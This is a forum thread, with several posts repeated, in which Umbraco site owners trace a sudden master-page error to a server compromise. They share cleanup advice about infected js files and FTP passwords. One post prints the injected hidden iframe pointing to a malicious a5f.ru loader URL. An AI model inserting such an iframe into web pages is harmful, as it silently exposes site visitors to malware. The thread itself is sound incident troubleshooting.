Content controls have to be top-level controls in a content page or a nested master page that references a master page.
Hi Guys,
I've successfully had my site running for the last 3/4 months. But today I went back to it and i had the following error on every page
[code]Content controls have to be top-level controls in a content page or a nested master page that references a master page.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.Web.HttpException: Content controls have to be top-level controls in a content page or a nested master page that references a master page.
Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.
Stack Trace:
[HttpException (0x80004005): Content controls have to be top-level controls in a content page or a nested master page that references a master page.]
System.Web.UI.MasterPage.CreateMaster(TemplateControl owner, HttpContext context, VirtualPath masterPageFile, IDictionary contentTemplateCollection) +8658824
System.Web.UI.Page.get_Master() +51
System.Web.UI.Page.ApplyMasterPage() +15
System.Web.UI.Page.PerformPreInit() +45
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +282
[/code]
I've spent the last hour trying to work this out, but nothing i seem to do works.
I've checked all my master pages to make sure they only contain content tags at the root level if they reference another master file, which they do. I've made sure there are no funny characters before the content tags, just in case. I've tried stripping everything out of the templates, and that does nothing.
I'm completley stumped with this and don't know where to look as there isn't realy any clue as to which master page is the problem. Also due to the fact that I haven't changed anything recently.
I can verify that I have had the same problem. All of a sudden, over-night, all of our Umbraco pages on one of our servers had the same error message as you are explaining.
I fiddled around a while, trying to locate the problem, but finally restored the latest backup. Then everything was fine again.
Also, when this has happened, and I'm trying to access the umbraco admin (/umbraco/umbraco.aspx) my virus program warns that a threat is detected, which normally doesn't show up (http://sewen.se/trojan.gif). Could it be a virus on the server?
I have found that someone has posted the issue in Codeplex for CWS (http://umbracocws.codeplex.com/WorkItem/View.aspx?WorkItemId=3201), but I don't think it's a CWS-problem since we are not using it on our sites that went down.
I had the same problem, was also a virus, and in addition to the iframe on Default.aspx it infected all js files on the site, adding malicius javascript code at the end of each one.
The recomendation to remove this virus was to manually clean all js files, and then change the password for all ftp accounts to prevent re-infection.
Content controls have to be top-level controls in a content page or a nested master page that references a master page.
Hi Guys,
I've successfully had my site running for the last 3/4 months. But today I went back to it and i had the following error on every page
[code]Content controls have to be top-level controls in a content page or a nested master page that references a master page.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.Web.HttpException: Content controls have to be top-level controls in a content page or a nested master page that references a master page.
Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.
Stack Trace:
[HttpException (0x80004005): Content controls have to be top-level controls in a content page or a nested master page that references a master page.]
System.Web.UI.MasterPage.CreateMaster(TemplateControl owner, HttpContext context, VirtualPath masterPageFile, IDictionary contentTemplateCollection) +8658824
System.Web.UI.Page.get_Master() +51
System.Web.UI.Page.ApplyMasterPage() +15
System.Web.UI.Page.PerformPreInit() +45
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +282
[/code]
I've spent the last hour trying to work this out, but nothing i seem to do works.
I've checked all my master pages to make sure they only contain content tags at the root level if they reference another master file, which they do. I've made sure there are no funny characters before the content tags, just in case. I've tried stripping everything out of the templates, and that does nothing.
I'm completley stumped with this and don't know where to look as there isn't realy any clue as to which master page is the problem. Also due to the fact that I haven't changed anything recently.
Does anybody else have any ideas?
Many thanks
Matt
I can verify that I have had the same problem. All of a sudden, over-night, all of our Umbraco pages on one of our servers had the same error message as you are explaining.
I fiddled around a while, trying to locate the problem, but finally restored the latest backup. Then everything was fine again.
Also, when this has happened, and I'm trying to access the umbraco admin (/umbraco/umbraco.aspx) my virus program warns that a threat is detected, which normally doesn't show up (http://sewen.se/trojan.gif). Could it be a virus on the server?
I have found that someone has posted the issue in Codeplex for CWS (http://umbracocws.codeplex.com/WorkItem/View.aspx?WorkItemId=3201), but I don't think it's a CWS-problem since we are not using it on our sites that went down.
Ideas?
Thanks
/Fredrik
Ok, I compared the version that throw the error with the backup using WinMerge (great program!!!).
In the error-version one new line of code had been added to Default.aspx.
<iframe src="http://a5f.ru:8080/ts/in.cgi?pepsi93" width=125 height=125 style="visibility: hidden"></iframe>
Looks like some kind of virus. When googling, it's recommended you scan all your computers which have FTP-access to the server for viruses.
/Fredrik
I had the same problem, was also a virus, and in addition to the iframe on Default.aspx it infected all js files on the site, adding malicius javascript code at the end of each one.
The recomendation to remove this virus was to manually clean all js files, and then change the password for all ftp accounts to prevent re-infection.
I saw this on an old umbraco site. Does anyone know how this happened? Was this a vulnerability of Umbraco that has been patched?
is working on a reply...